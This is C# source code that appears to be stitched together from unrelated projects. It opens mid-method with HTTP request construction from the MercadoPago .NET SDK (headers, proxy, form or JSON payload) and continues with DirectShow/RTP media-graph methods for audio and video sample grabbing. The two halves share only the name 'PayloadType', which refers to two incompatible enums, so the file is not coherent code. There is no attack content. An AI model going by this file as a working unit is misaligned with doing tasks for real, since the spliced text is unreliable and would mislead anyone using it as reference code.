{
throw new MPRESTException("Payload not supported for this method.");
}
}
MPRequest mpRequest = new MPRequest();
mpRequest.Request = (HttpWebRequest)HttpWebRequest.Create(path);
mpRequest.Request.Method = httpMethod.ToString();
if (requestOptions == null)
{
requestOptions = new MPRequestOptions();
}
if (requestOptions.Timeout > 0)
{
mpRequest.Request.Timeout = requestOptions.Timeout;
}
mpRequest.Request.Headers.Add("x-product-id", SDK.ProductId);
mpRequest.Request.Headers.Add("x-tracking-id", SDK.TrackingId);
if (requestOptions.CustomHeaders != null)
{
foreach (var header in requestOptions.CustomHeaders)
{
if (mpRequest.Request.Headers[header.Key] == null)
{
mpRequest.Request.Headers.Add(header.Key, header.Value);
}
}
}
if (requestOptions.TrackHeaders != null)
{
foreach (var trackHeader in requestOptions.TrackHeaders)
{
if (mpRequest.Request.Headers[trackHeader.Key] == null && trackHeader.Value != null)
{
mpRequest.Request.Headers[trackHeader.Key] = trackHeader.Value;
}
}
}
if (payload != null) // POST & PUT
{
byte[] data = null;
if (payloadType != PayloadType.JSON)
{
var parametersDict = payload.ToObject<Dictionary<string, string>>();
StringBuilder parametersString = new StringBuilder();
parametersString.Append(string.Format("{0}={1}", parametersDict.First().Key, parametersDict.First().Value));
parametersDict.Remove(parametersDict.First().Key);
foreach (var value in parametersDict)
{
parametersString.Append(string.Format("&{0}={1}", value.Key, value.Value.ToString()));
}
data = Encoding.UTF8.GetBytes(parametersString.ToString());
}
else
{
data = Encoding.UTF8.GetBytes(payload.ToString());
}
mpRequest.Request.UserAgent = "MercadoPago DotNet SDK/" + SDK.Version;
mpRequest.Request.ContentLength = data.Length;
mpRequest.Request.ContentType = payloadType == PayloadType.JSON ? "application/json" : "application/x-www-form-urlencoded";
mpRequest.RequestPayload = data;
}
IWebProxy proxy = requestOptions.Proxy != null ? requestOptions.Proxy : (_proxy != null ? _proxy : SDK.Proxy);
mpRequest.Request.Proxy = proxy;
return mpRequest;
}
/// <summary>
/// Remove the renderer for the branch of the graph corresponding to the specified payload
/// </summary>
/// <param name="payload"></param>
public override void RemoveRenderer(PayloadType payload)
{
if (dvSplitter != null) {
if (payload == PayloadType.dynamicAudio) {
if (audioCompressor == null) {
RemoveFiltersDownstreamFromPin(splitterAudioOut);
}
else {
RemoveFiltersDownstreamFrom(audioCompressor);
}
}
else if (payload == PayloadType.dynamicVideo) {
if (videoCompressor == null) {
RemoveFiltersDownstreamFromPin(splitterVideoOut);
}
else {
RemoveFiltersDownstreamFrom(videoCompressor);
}
}
}
}
/// <summary>
/// Build a graph with sampleGrabber. Render it, and get the media type.
/// </summary>
/// <param name="payload"></param>
/// <returns></returns>
public bool Build(PayloadType payload, RtpStream newStream)
{
this.stream = newStream;
this.ssrc = newStream.SSRC;
//Required as of RC3:
this.stream.IsUsingNextFrame = true;
if ((ssrc == 0) || !((payload == PayloadType.dynamicVideo) || (payload == PayloadType.dynamicAudio)))
{
errorMsg = "Invalid inputs to build method.";
return(false);
}
fgm = new FilgraphManagerClass();
MSR.LST.MDShow.IBaseFilter bfSource = null;
IGraphBuilder iGB = (IGraphBuilder)fgm;
//if (false)
// rotnum = FilterGraph.AddToRot(iGB); //AddToRot(iGB);
try
{
bfSource = RtpSourceClass.CreateInstance();
((MSR.LST.MDShow.Filters.IRtpSource)bfSource).Initialize(this.stream);
iGB.AddFilter(bfSource, "RtpSource");
MSR.LST.MDShow.IPin sourceOutput = Filter.GetPin(bfSource, _PinDirection.PINDIR_OUTPUT, Guid.Empty,
Guid.Empty, false, 0);
//Add SampleGrabber filter
MSR.LST.MDShow.IBaseFilter bfGrabber = SampleGrabberClass.CreateInstance();
iGB.AddFilter(bfGrabber, "Grabber");
UW.CSE.MDShow.ISampleGrabber sgGrabber = (UW.CSE.MDShow.ISampleGrabber)bfGrabber;
//Set mediatype
UW.CSE.MDShow._AMMediaType mt = new UW.CSE.MDShow._AMMediaType();
if (payload == PayloadType.dynamicVideo)
{
mt.majortype = MediaType.MajorType.MEDIATYPE_Video;
//PRI2: RGB24 seems to work for all video? We have used YUY2 in the past, but that won't work
// for screen streaming. Probably could use more testing
//mt.subtype = MediaType.SubType.MEDIASUBTYPE_YUY2;
mt.subtype = MediaType.SubType.MEDIASUBTYPE_RGB24;
}
else
{
mt.majortype = MediaType.MajorType.MEDIATYPE_Audio;
mt.subtype = MediaType.SubType.MEDIASUBTYPE_PCM; //MEDIASUBTYPE_PCM;
}
sgGrabber.SetMediaType(ref mt);
//Add samplegrabber callback
//0 is sampleCB, 1 is bufferCB. Only bufferCB is actually returning data so far.
sgGrabber.SetCallback(callBack, 1);
sgGrabber.SetOneShot(0);
sgGrabber.SetBufferSamples(0);
iGB.Render(sourceOutput);
UW.CSE.MDShow._AMMediaType uwmt = new UW.CSE.MDShow._AMMediaType();
sgGrabber.GetConnectedMediaType(ref uwmt);
connectedMT = copy_AMMediaType(uwmt);
}
catch (Exception e)
{
errorMsg = e.Message;
Debug.WriteLine("Exception while building graph: " + e.ToString());
eventLog.WriteEntry("Exception while building graph: " + e.ToString(), EventLogEntryType.Error, 1001);
return(false);
}
return(true);
}
/// <summary>
/// Remove the specified branch from the splitter.
/// </summary>
/// <param name="payload"></param>
private void RemoveFiltersDownstreamFromSplitter(PayloadType payload)
{
if (dvSplitter != null) {
if (payload == PayloadType.dynamicAudio) {
RemoveFiltersDownstreamFromPin(splitterAudioOut);
audioCompressor = null;
}
else if (payload == PayloadType.dynamicVideo) {
RemoveFiltersDownstreamFromPin(splitterVideoOut);
videoCompressor = null;
}
}
}
public virtual void RemoveRenderer(PayloadType payload)
{
RemoveRenderer();
}